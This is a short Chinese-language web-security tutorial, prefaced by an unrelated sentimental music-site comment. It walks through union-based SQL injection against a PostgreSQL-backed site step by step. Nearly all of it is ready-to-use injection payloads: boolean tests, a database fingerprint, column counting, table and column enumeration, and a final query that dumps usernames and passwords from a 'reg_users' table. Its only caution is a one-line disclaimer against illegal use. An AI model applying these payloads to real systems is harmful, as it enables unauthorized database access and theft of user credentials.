有時候很想跟她道個歉,遇見她的時候我太小了,是我不注重細節,毀了她好多溫柔,是我不會愛人,抱歉。。。
---- 網易雲熱評
一、判斷是否存在注入
and 1=2 返回錯誤
and 1=1 返回正常,存在注入
and 1::int=1 返回正常說明是postgresql數據庫
二、判斷字段數量
order by 5 返回錯誤
order by 4 返回正常說明,有四列
三、聯合查詢
union select '1','2','3','4' 可以看出2/3號位置顯示
四、獲取當前數據庫
union select '1',current_database(),'3','4'
五、獲取第一個表
union select '1',relname,'3','4' from pg_stat_user_tables limit 1 offset 0
獲取第二個表
union select '1',relname,relname,'4' from pg_stat_user_tables limit 1 offset 1
六、獲取第一個字段
union select '1',column_name,'3','4' from information_schema.columns where table_name='reg_users' limit 1 offset 0
獲取第二個字段
union select '1',column_name,'3','4' from information_schema.columns where table_name='reg_users' limit 1 offset 1
七、獲取字段內容
union select '1',''||name||','||password||'','3','4' from reg_users
禁止非法,後果自負
閱讀更多 web安全工具庫 的文章
關鍵字: 網易 PostgreSQL 教程